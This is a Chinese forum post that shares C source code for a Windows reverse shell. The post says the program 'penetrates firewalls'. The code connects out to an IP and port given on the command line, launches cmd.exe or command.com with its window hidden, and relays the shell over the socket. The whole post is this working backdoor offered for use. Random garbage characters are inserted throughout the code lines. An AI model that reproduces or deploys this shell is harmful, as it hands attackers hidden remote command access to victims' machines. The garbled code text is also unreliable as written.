社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6560阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 6:B5PJq  
s|,]Nb=z/  
/* ============================== e. [+xOu`  
Rebound port in Windows NT aNq Vs|H  
By wind,2006/7 RLKO0 #  
===============================*/ J&3;6I &  
#include 3M@>kIT8  
#include Ce:R p?  
aLsGden|  
#pragma comment(lib,"wsock32.lib") Ix(4<s  
^k_!+8"q{  
void OutputShell(); k&~vVx  
SOCKET sClient; R +\y" .  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 4k#B5^iJ  
" Y%\qw/wq  
void main(int argc,char **argv) 2X*epU_1h  
{ xDQ$Ui.  
WSADATA stWsaData; 2f:'~ P56  
int nRet; 2sU"p5 j  
SOCKADDR_IN stSaiClient,stSaiServer; BKD Wd]KEf  
92SB'T>  
if(argc != 3) ;JZXSM-3  
{ gIRCJ=e[b  
printf("Useage:\n\rRebound DestIP DestPort\n"); Q1jyetk~I  
return; s]I],>}RU  
} {^\-%3$  
<!+o8z]  
WSAStartup(MAKEWORD(2,2),&stWsaData); ;m5M: Z"  
-"cN9RF  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WEsH@ [  
|hdh4P$+|  
stSaiClient.sin_family = AF_INET; yq<YGNy!  
stSaiClient.sin_port = htons(0); QqwX Fk  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !3b%Q</M H  
Wt`D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ja (/ym^  
{ ScTqnY$v  
printf("Bind Socket Failed!\n"); bkM$ Qo  
return; z N t7DK  
} t{ 7l.>kf  
b~Ruhi[E  
stSaiServer.sin_family = AF_INET; ]Yj>~k:K  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m_Rgv.gE^  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R80R{Ze  
TtvS|09p;  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E$1^}RGT)  
{ 9:Y:Vx  
printf("Connect Error!"); [%@zH  
return; cr/|dc'  
} $bo^UYZ6  
OutputShell(); ^s?wnEo;j  
} O[`Ob6Q{F  
l~=iUZW<  
void OutputShell() :rj78_e9  
{ :J~j*_hZ  
char szBuff[1024]; bo*q{@Ue  
SECURITY_ATTRIBUTES stSecurityAttributes; m!2Dk#t  
OSVERSIONINFO stOsversionInfo; O<E0L&4-&  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yp4G"\hN9  
STARTUPINFO stStartupInfo; 0GR9opZtA  
char *szShell; $e_ps~{7$  
PROCESS_INFORMATION stProcessInformation; ~H$XSNPi  
unsigned long lBytesRead; p']AXJ`Z  
=aekY;/  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [_0g^(`  
j~{2fd<>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [D,:=p`  
stSecurityAttributes.lpSecurityDescriptor = 0; N0piL6Js  
stSecurityAttributes.bInheritHandle = TRUE; Stc\P]%d  
4w?7AI]Ej  
q1gf9` 0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L,ra=SVF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t,+S~Cj|  
H|Nw)*.  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %b?Pasf.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j"V$J8)[  
stStartupInfo.wShowWindow = SW_HIDE; 35>}$1?-6  
stStartupInfo.hStdInput = hReadPipe; |. 6@-h~8  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; "h2Ny#  
|]q=D1/A  
GetVersionEx(&stOsversionInfo); saT9%?4-  
%C)JmaQ{9  
switch(stOsversionInfo.dwPlatformId) yRznP)  
{ [s/@z*,M1  
case 1: cDx^}N!  
szShell = "command.com"; Wk|z\OR(  
break; Chua>p!$g  
default: O)Qz$  
szShell = "cmd.exe"; zfZDtKq  
break; m=9 N^_  
} H6I #Xj  
}"-r;i  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |rvrSab)  
f+920/>!Z  
send(sClient,szMsg,77,0); R\}YD*  
while(1) M BT-L  
{ ^55?VQB  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |FFC8R%@]u  
if(lBytesRead) HFr3(gNj@  
{ Wy4^mOv  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); A|J\X=5  
send(sClient,szBuff,lBytesRead,0); OGFKc#  
} k~R[5W|'  
else [FL I+;gY  
{ /4?`F} 7)  
lBytesRead=recv(sClient,szBuff,1024,0); ]cr;PRyv  
if(lBytesRead<=0) break; W,~1KUTc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); s2v*  
} b8>9mKs  
} Q8x{V_Pot  
a%!XLyq  
return; ^{s0d+@{  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五